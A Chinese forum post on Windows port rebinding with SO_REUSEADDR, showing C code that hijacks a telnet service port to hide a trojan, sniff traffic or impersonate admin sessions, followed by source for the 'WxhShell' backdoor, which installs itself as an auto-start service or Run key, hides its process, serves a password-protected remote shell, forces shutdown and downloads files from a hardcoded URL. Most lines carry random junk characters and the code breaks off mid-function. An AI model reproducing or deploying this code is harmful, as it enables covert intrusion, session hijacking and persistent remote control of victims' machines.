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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]WFr5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GW{e"b/x  
-A1@a= q  
  saddr.sin_family = AF_INET; aN UU' [  
8/gA]I 6=#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )@(IhU )  
_"l2UDx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f^Io:V\  
t9l]ie{"o.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $Iz*W]B!  
9 t8NK{  
  这意味着什么?意味着可以进行如下的攻击: uSQlE=  
h8XoF1wuw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {3Y R_^>?  
= q \TWz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yjE $o?A  
emT/5'y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \gCh'3  
{HO,d{{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &s^t~>Gpr  
\RT3#X+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _|jEuif  
ZX0#I W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0q6xXNAX  
CXiDe)|<E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V*6o|#  
h[ cqa  
  #include tn 38T%  
  #include u7nTk'#r  
  #include W*;r}!ro  
  #include    4++ &P9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tNvjwgV\  
  int main() dkWV/DAm  
  { |1%eo.  
  WORD wVersionRequested; &v)/mc7D  
  DWORD ret; do[w&`jw8  
  WSADATA wsaData; %p;;aZG  
  BOOL val; `eEiSf  
  SOCKADDR_IN saddr; w!_6*  
  SOCKADDR_IN scaddr; ;UpdkY 1  
  int err; u u$Jwn!S  
  SOCKET s; #J'V,_ wH  
  SOCKET sc; ;:  xE'-  
  int caddsize; kxCN0e#_  
  HANDLE mt; :@4+}  
  DWORD tid;   {F=`IE3)w  
  wVersionRequested = MAKEWORD( 2, 2 ); ]bP1gV(b-  
  err = WSAStartup( wVersionRequested, &wsaData ); JA09 o(  
  if ( err != 0 ) { :JXGgl<y  
  printf("error!WSAStartup failed!\n"); @rP#ktz]  
  return -1; f = 'AI  
  } hG2WxYk  
  saddr.sin_family = AF_INET; |mQC-=6t;Y  
   qm/#kPlM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H krhd   
XUVBD;"f!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v%muno,  
  saddr.sin_port = htons(23); .4J7 ^l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9fy[%M  
  { 7Y.mp9,  
  printf("error!socket failed!\n"); C1==a FD  
  return -1; 3!op'X!  
  } BU<Qp$ &  
  val = TRUE; $9@3dM*E?Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 PDpuHHB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GYrUB59  
  { 4(? Z1S  
  printf("error!setsockopt failed!\n"); cTja<*W^xv  
  return -1; KFBBqP  
  } *X!+wK-+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Gvl,M\c9-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Mw`S.M. B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]tNB^  
LfvNO/:,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,(B/R8ZF~  
  { emHaZhh  
  ret=GetLastError();  p ~pl|  
  printf("error!bind failed!\n"); "^)$MAZ  
  return -1; *7{{z%5Pu  
  } pS "A{k)i  
  listen(s,2); *SYuq)  
  while(1) 4N)45@jk[  
  { F?Fxm*Wa/  
  caddsize = sizeof(scaddr); UNA!vzOb  
  //接受连接请求  _ 'K6S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y,m=&U  
  if(sc!=INVALID_SOCKET) FwV5{-(  
  { I@kMM12>c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8iPA^b|sz{  
  if(mt==NULL) <9[>+X  
  { #Cb~-2:+7  
  printf("Thread Creat Failed!\n"); `j4OKZ  
  break; r*c x_**  
  } =%S*h)}@  
  } Q sPZ dC  
  CloseHandle(mt); -sx=1+\nf  
  } .7HEI;4  
  closesocket(s); WM0-F@_  
  WSACleanup(); Iv{uk$^7S  
  return 0; 5 Nt9'"  
  }   sWq@E6,I  
  DWORD WINAPI ClientThread(LPVOID lpParam) "`V:4uz  
  { zUA -  
  SOCKET ss = (SOCKET)lpParam; G%dzJpC(  
  SOCKET sc; Z*Fn2I4  
  unsigned char buf[4096]; _=K\E0I.m  
  SOCKADDR_IN saddr; u yoV)  
  long num; ;?{OX  
  DWORD val; ?'si ^N  
  DWORD ret; _z@_.%P\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m'eM&1Ba  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   , _bG'Hmt  
  saddr.sin_family = AF_INET; >&JS-j Fg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^V"08  
  saddr.sin_port = htons(23); 2E.D0E Cu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z>HM$n`YD  
  { au+ a7~0~  
  printf("error!socket failed!\n"); km,@yU  
  return -1; nu X`>Oy  
  } *>T@3G.{Rm  
  val = 100; zCrM~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JD ~]aoH  
  { KkSv2 3In  
  ret = GetLastError(); h`D+NZtWm  
  return -1; d z\yP v~  
  } + 7nA; C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yG<Q t+D  
  { ^= '+#|:  
  ret = GetLastError(); ,[u.5vC  
  return -1; ~,{nBp9*  
  } qdZo cTf'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) QaLVIsnfN  
  { r#c+{yY  
  printf("error!socket connect failed!\n"); `L"l{^cH  
  closesocket(sc); {qFAX<{D  
  closesocket(ss); [?n}?0  
  return -1; <$8e;:#:  
  } .c@,$z2M  
  while(1) T*#<p;  
  { QKh vP>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tj:>o#D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O*1la/~m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u:>*~$f   
  num = recv(ss,buf,4096,0); ?ehUGvV2  
  if(num>0) (y?`|=G-xT  
  send(sc,buf,num,0); wTn"  
  else if(num==0) \P9HAz'6  
  break; $kh6-y@  
  num = recv(sc,buf,4096,0); )z7+%nTO  
  if(num>0) \Bn$b2j!%  
  send(ss,buf,num,0); JjG>$z  
  else if(num==0) ZRYHsl{F+  
  break; 2w:cdAv$  
  } _'P!>C!  
  closesocket(ss); I z)~h>-F  
  closesocket(sc); $,jynRk7q  
  return 0 ; :2MHx}]il  
  } 'In qa;TQz  
88+J(^y>  
r%II` i  
========================================================== Cc` )P>L  
Q46sPMH+_  
下边附上一个代码,,WXhSHELL M9wj };vy  
UzUt=s!^H  
========================================================== X-5&c$hv  
6M@m`c  
#include "stdafx.h" Zc*gRC  
^4tz*i  
#include <stdio.h> } "AGX  
#include <string.h> E" b" VB  
#include <windows.h> vU, ]UJ}  
#include <winsock2.h> } mEsb?  
#include <winsvc.h> x2z%J,z@4  
#include <urlmon.h> >=ng?  
g/x\#W  
#pragma comment (lib, "Ws2_32.lib") G 4 C 7  
#pragma comment (lib, "urlmon.lib") oW8 hC  
O\zGN/!  
#define MAX_USER   100 // 最大客户端连接数 }t.VH:02y  
#define BUF_SOCK   200 // sock buffer D(Yq<%Q  
#define KEY_BUFF   255 // 输入 buffer 3,{tGNl|  
/yL:_6c-  
#define REBOOT     0   // 重启 -W XZOdUjs  
#define SHUTDOWN   1   // 关机 SK {ALe  
R6 dD17  
#define DEF_PORT   5000 // 监听端口 f*ZIBTb 9  
%/=#8v4*  
#define REG_LEN     16   // 注册表键长度 qU:Mvb^5&  
#define SVC_LEN     80   // NT服务名长度 m_r_4BP  
#:M)a?E/%  
// 从dll定义API 0:3<33]x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0x8aKq\'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P6o-H$ a+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  IQCIc@5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6WX+p3Kv  
ue#Y h  
// wxhshell配置信息 r!J?Lc])8  
struct WSCFG { )qx,>PL  
  int ws_port;         // 监听端口 w(vda0  
  char ws_passstr[REG_LEN]; // 口令 K~aI Y0=<  
  int ws_autoins;       // 安装标记, 1=yes 0=no cdfvc0  
  char ws_regname[REG_LEN]; // 注册表键名 +BE_K_56  
  char ws_svcname[REG_LEN]; // 服务名 >L>t$1hXM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  e{33%5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \!,@pe_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jaI mO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5x; y{qT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N>4uqFo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vd'd@T  
f.&Y_G3a<  
}; OA3* "d*  
&GH ,is  
// default Wxhshell configuration R2$;f?;:  
struct WSCFG wscfg={DEF_PORT, f6Io|CZWJ  
    "xuhuanlingzhe", 9K5[a^q|My  
    1, @(H  
    "Wxhshell", =~~Y@eX  
    "Wxhshell", RAW(lZ(  
            "WxhShell Service", &r Lg/UEV-  
    "Wrsky Windows CmdShell Service", ?H_'L4Wv  
    "Please Input Your Password: ", %8lF%uu!x  
  1, K@z zseQ}=  
  "http://www.wrsky.com/wxhshell.exe", 4#BoS9d2I<  
  "Wxhshell.exe" )R`w{V  
    }; < l%3P6|  
;n,@[v  
// 消息定义模块 ;Y>cegG\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (C EXPf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4_w+NI,;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;/8oP ;X2  
char *msg_ws_ext="\n\rExit."; $}G03G@  
char *msg_ws_end="\n\rQuit."; 1 k}U+  
char *msg_ws_boot="\n\rReboot..."; HrZ\=1RB  
char *msg_ws_poff="\n\rShutdown..."; #}rv)  
char *msg_ws_down="\n\rSave to "; Q@-7{3  
BI,j/SRK  
char *msg_ws_err="\n\rErr!"; ~rX2oLw{&  
char *msg_ws_ok="\n\rOK!"; 4^0L2BVcv  
G.} 3hd0  
char ExeFile[MAX_PATH]; er?'o1M  
int nUser = 0; d8? }69:h  
HANDLE handles[MAX_USER]; 1wpeYn7>W  
int OsIsNt; 6KD  
jWd 7>1R?  
SERVICE_STATUS       serviceStatus; L27i_4E,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "38ya2*  
.V?i3  
// 函数声明 m1k+u)7kD  
int Install(void); :+SpZ>  
int Uninstall(void); 8U07]=Bt<  
int DownloadFile(char *sURL, SOCKET wsh); pGy(JvMw"  
int Boot(int flag); u8Au `  
void HideProc(void); idf~"a  
int GetOsVer(void); #Pz},!7  
int Wxhshell(SOCKET wsl); iraO/KhD*3  
void TalkWithClient(void *cs); bS+by'Ea1W  
int CmdShell(SOCKET sock); Dm1;mRS+  
int StartFromService(void); y+XB  
int StartWxhshell(LPSTR lpCmdLine); . ` OdnLGy  
qdB@P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xrK%3nA4s"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &Oq& ikw  
MT,LO<.  
// 数据结构和表定义 /2&jId  
SERVICE_TABLE_ENTRY DispatchTable[] =  >y&4gm  
{ `R]9+_"N  
{wscfg.ws_svcname, NTServiceMain}, s wdW70  
{NULL, NULL} ,?+rM ;  
}; %/:{x()G  
Z%Nl<i  
// 自我安装 L!7*U.+  
int Install(void) qF{u+Ms  
{ 8}0W_CU,  
  char svExeFile[MAX_PATH]; ! Q`GA<ikv  
  HKEY key; J>P{8Aw  
  strcpy(svExeFile,ExeFile); n:GK0wu.s  
I-NzGx2u  
// 如果是win9x系统,修改注册表设为自启动 PF-7AIxs"  
if(!OsIsNt) { 4425,AR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i51~/ R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &P%3'c}G  
  RegCloseKey(key); vv  _I o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ch`XwLY9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;(Q4x"?I  
  RegCloseKey(key); 6=kA  
  return 0; D 5]sf>~  
    } Nw}y_Qf{  
  } !aD/I%X  
} Zi=Nr3b  
else { ?L$ Dk5-W  
f~u]fpkz  
// 如果是NT以上系统,安装为系统服务 4}{HRs?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SLL%XF~/Sb  
if (schSCManager!=0) J'O</o@e  
{ Z@=1-l  
  SC_HANDLE schService = CreateService wj/\ !V!  
  ( (z0S5#g ,x  
  schSCManager, o[Yxh%T  
  wscfg.ws_svcname, Da!A1|"  
  wscfg.ws_svcdisp, <LDVO'I0 !  
  SERVICE_ALL_ACCESS, gRuNC=sR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A e&t#,)  
  SERVICE_AUTO_START, [0D( PV(n  
  SERVICE_ERROR_NORMAL, pq6}q($Rk  
  svExeFile, KDW%*%!  
  NULL, s#ijpc>h  
  NULL, 9cAb\5c|  
  NULL, dF*@G/p>V  
  NULL, 3~\mP\/4v  
  NULL \iAkF`OC  
  ); EZz Ox(g  
  if (schService!=0) @<e+E"6  
  { ] 5lp.#EB  
  CloseServiceHandle(schService); k+2~=#  
  CloseServiceHandle(schSCManager); mvI[=e*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &AmTXW  
  strcat(svExeFile,wscfg.ws_svcname); "w0>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }\`MXh's  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w} *;^n  
  RegCloseKey(key); P=eVp(/x  
  return 0; p6]4YGw*^  
    } :04sB]H  
  }  4G&E?  
  CloseServiceHandle(schSCManager); Cs7YD~,  
} 6~sb8pK.=  
} A1:<-TF6^p  
, gk49z9  
return 1; 7_taqcj  
} QF(.fq8, U  
U(DK~#}  
// 自我卸载 gk\IivPb  
int Uninstall(void) 3hr&p{/  
{ {%xwoMVc+  
  HKEY key; _e$15qW+  
a|`Pg1j#  
if(!OsIsNt) { KFdTw{GlJ7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^!-*xH.dK  
  RegDeleteValue(key,wscfg.ws_regname); .oYUA}  
  RegCloseKey(key); Fd-PjW/E8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rG1l:Z)  
  RegDeleteValue(key,wscfg.ws_regname); Y@N}XH<4R  
  RegCloseKey(key); (7q!Z!2  
  return 0; ;wIpche  
  } y]aV7 `]  
} m(E-?VMHo  
} f( 5c  
else { ps"DL4*  
N;7Xt9l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y~vI@$<~(  
if (schSCManager!=0) 8[U1{s:J  
{ 3>%rm%ffE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d0~F|j\#  
  if (schService!=0) `3^ *K/K\  
  { nVV>;e[  
  if(DeleteService(schService)!=0) { ^4_)a0Kcm,  
  CloseServiceHandle(schService); '5.n2 8W>  
  CloseServiceHandle(schSCManager); QWv+J a  
  return 0; i ~fkjn  
  } ('pNAn!]  
  CloseServiceHandle(schService); ~isrE;N1|  
  } k/YEUC5  
  CloseServiceHandle(schSCManager); q?g4**C  
} m'k.R j  
} yTwv2l;U  
r7/y'Y]O  
return 1; \Q<c Y<  
} 7OX5"u!2  
PI(;t9]b  
// 从指定url下载文件 qz"di~7  
int DownloadFile(char *sURL, SOCKET wsh) e )l<D)  
{ 5 G cdz  
  HRESULT hr; e5_a.c  
char seps[]= "/"; R)d1]k8  
char *token; ,j^ /~  
char *file; "S.5_@?  
char myURL[MAX_PATH]; z=B*s!G  
char myFILE[MAX_PATH]; $^?"/;8P5  
%KK6}d #  
strcpy(myURL,sURL); L5! aLv#  
  token=strtok(myURL,seps); R9nW5f Nf  
  while(token!=NULL) -hw^3Af  
  { }YWLXxb;  
    file=token; ?Z= %I$i  
  token=strtok(NULL,seps); AJt *48H*G  
  } :@{(^}N8u  
JsI` #  
GetCurrentDirectory(MAX_PATH,myFILE); m07= _4  
strcat(myFILE, "\\"); yKF"\^`@  
strcat(myFILE, file); 6gV-u~j[#  
  send(wsh,myFILE,strlen(myFILE),0); 2apR7  
send(wsh,"...",3,0); p 9Zi}!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =#dW^ ?p  
  if(hr==S_OK) oBiJiPE=`  
return 0; a]-F,MJ  
else <QFT>#@T  
return 1; +<7~yZ[Z8  
 u)PB@  
} ^JZ]?iny  
hu0z):>y  
// 系统电源模块  lL\%eQ  
int Boot(int flag) hZZ  
{ wak:"B[  
  HANDLE hToken; 8n&Gn%DvX  
  TOKEN_PRIVILEGES tkp; q g2 fTe  
$Wy(Wtrx|  
  if(OsIsNt) { 1j_gQ,'20  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yf4I<v$y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \=1$$EDS9  
    tkp.PrivilegeCount = 1; CE5A^,EsB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ']bw37_U,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q"@>rU4  
if(flag==REBOOT) { Tv[| ^G9x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qkbGM-H%U  
  return 0; 8(zE^W,[8"  
} }AW"2<@  
else { tFEY8ut{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AAXlBY6Y-  
  return 0; wo+ b":  
} 8@ZZ[9kt  
  } gf ?_tB0C  
  else { !qu/m B  
if(flag==REBOOT) { eae`#>XP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $xU)t&Df  
  return 0; ?S<`*O +  
} MvKr~  
else { =vs]Kmm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sRI0;  
  return 0; ^7Rc\   
} 3<x1s2U  
} 5i@WBa  
9,?7mgZ p  
return 1; un F=";9H  
} bu8AOtY9E-  
v]GQb  
// win9x进程隐藏模块 12VSzIm  
void HideProc(void) S[;d\Z]~  
{ }`pxs  
oh0*bh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -Hh.8(!XoO  
  if ( hKernel != NULL ) yU"lJ>Eh}}  
  { uXouN$&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ge4QaK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <nk9IAH  
    FreeLibrary(hKernel); 2C Fgit  
  } V7"^.W*  
F{G.dXZZ<  
return; q4T98s2J  
} ~H c5M5m  
ym8pB7E7%  
// 获取操作系统版本 tfCK^{  
int GetOsVer(void) (PC)R9r5  
{ 2EH0d6nt  
  OSVERSIONINFO winfo; |{ @BH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z*)kK  
  GetVersionEx(&winfo); N(l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $DlO<  
  return 1; Q_)$Ha{>H,  
  else `F$lO2#k  
  return 0; BR-4L2[  
} udOdXz6K?  
- i#Kpf  
// 客户端句柄模块 ES\=MO5a7  
int Wxhshell(SOCKET wsl) S}P rgw/  
{ mb>8=hMg  
  SOCKET wsh; f+lPQIB  
  struct sockaddr_in client; +a"f)4\  
  DWORD myID; O+?vQ$z  
3wMnTT"At  
  while(nUser<MAX_USER) JRR,ooN*i  
{ F!<!)_8Q  
  int nSize=sizeof(client); []$L"?]0uk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jN AS'JV  
  if(wsh==INVALID_SOCKET) return 1; 1+#E|YWJ  
N;v]ypak  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9>@Vk vpY  
if(handles[nUser]==0) K: |-s4=  
  closesocket(wsh); h])oo:u'/Q  
else -%dBZW\u2  
  nUser++; a%2K,.J  
  } s o7.$]aV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DLN zH  
q+BG  
  return 0; 3T/&T`T+c  
} @1A.$:  
'5(T0Ws/w  
// 关闭 socket h=4 GSU  
void CloseIt(SOCKET wsh) \hWac%#  
{ ?=im  ~  
closesocket(wsh); B- D&1gO  
nUser--; Oye6IT"  
ExitThread(0); $)eS Gslz  
} @*roW{?!  
V KxuK0{  
// 客户端请求句柄 )nGH$Mu  
void TalkWithClient(void *cs) KE6 XNG3  
{ } ,@ex  
fDRG+/q(+  
  SOCKET wsh=(SOCKET)cs; [tRb{JsUd  
  char pwd[SVC_LEN]; ~RH)iI  
  char cmd[KEY_BUFF]; cua( w  
char chr[1]; ,n2"N5{jw  
int i,j; "A> _U<Y  
\ B'AXv 6  
  while (nUser < MAX_USER) { G +&pq  
e$Mvl=NYp\  
if(wscfg.ws_passstr) { ?G<ISiABQC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sDY+J(Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Y{;%;-i  
  //ZeroMemory(pwd,KEY_BUFF); [C\B2iU7_M  
      i=0; F'-XAI <3  
  while(i<SVC_LEN) { +sV~#%%  
/I((A /ks  
  // 设置超时 yp[,WZt  
  fd_set FdRead; .%!^L#g  
  struct timeval TimeOut; TT no  
  FD_ZERO(&FdRead); FKPR;H8>  
  FD_SET(wsh,&FdRead); *I[tIO\  
  TimeOut.tv_sec=8; :H:Se  
  TimeOut.tv_usec=0; aU@1j;se@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E $P?%<o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]V)*WP#a  
#q>\6} )  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^X?uAX-RP|  
  pwd=chr[0]; "lrQC`?  
  if(chr[0]==0xd || chr[0]==0xa) { ^ FM  
  pwd=0; 7?D?s!%\  
  break; >=:^N-a  
  } _Ie:!q  
  i++; sm;kg=  
    } }KO <II  
7%W1M@  
  // 如果是非法用户,关闭 socket ; !C_}P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +&dkJ 4g[  
} h?H|)a<^9  
1rS8+!9C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0":k[y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mlPvF%Ba  
t 4VeXp6  
while(1) { 'tDUPm38  
hzU(XW  
  ZeroMemory(cmd,KEY_BUFF); -w>ss&  
EqGpo_  
      // 自动支持客户端 telnet标准   gX7R-&[UD  
  j=0; vt n T   
  while(j<KEY_BUFF) { [9B1%W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $4}G  
  cmd[j]=chr[0]; 6`vW4]zu  
  if(chr[0]==0xa || chr[0]==0xd) { zWv0y8[d  
  cmd[j]=0; B=$O4nW_b  
  break; i]s%tEZ1  
  } bdY:-8!3  
  j++; ,<'>j a C  
    } 6B%  h  
>x3lA0m  
  // 下载文件 rlA/eQrS  
  if(strstr(cmd,"http://")) { mU~&oU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~ rQ,%dH  
  if(DownloadFile(cmd,wsh)) Yufj y=!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r/HCWs|  
  else .c:h!-D;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  jr_z ?  
  } .Zj`_5C  
  else { "DA%vdu  
A)V*faD  
    switch(cmd[0]) { !_QT{H  
  ggiy{CdR  
  // 帮助 q5L^>"  
  case '?': { lixM0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xb<|m2<)H  
    break; l)dE7$H  
  } _ilitwRN3  
  // 安装 lgS7;  
  case 'i': { jU7[z$GX  
    if(Install()) V=dOeuYd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Li*L&B)  
    else HKJBR)T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KYtCN+vsG  
    break; 'vZIAnB8  
    } <+-n lK4  
  // 卸载 jx}'M$TA  
  case 'r': { N0-J=2  
    if(Uninstall()) d1/9 A-{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9#@s(s  
    else RJzIzv99m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z\EA!Cs3  
    break; lFnYQab  
    } "n` z`{<n  
  // 显示 wxhshell 所在路径 LUId<We  
  case 'p': { [M,4qe8,}  
    char svExeFile[MAX_PATH]; /\# f@Sg  
    strcpy(svExeFile,"\n\r"); Wm`*IBWA  
      strcat(svExeFile,ExeFile); =g! Pw]  
        send(wsh,svExeFile,strlen(svExeFile),0); ;'8Wl  
    break; k]5tU\;Yw  
    } "q+Z*   
  // 重启 f"P866@oWn  
  case 'b': { #gO[di0WhC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >MN"87U6  
    if(Boot(REBOOT)) ?L7DVwVa,I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p|2GPrA]aL  
    else { T+@i;M  
    closesocket(wsh); o]Ne|PEpO  
    ExitThread(0); &Wcz~Gx3Q  
    } 7Tdx*1 U  
    break; =<3HOOC  
    }  gmbRH5k  
  // 关机 9QXsbd6  
  case 'd': { #eOHe4Vt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jaodcT0  
    if(Boot(SHUTDOWN)) |<h}'  
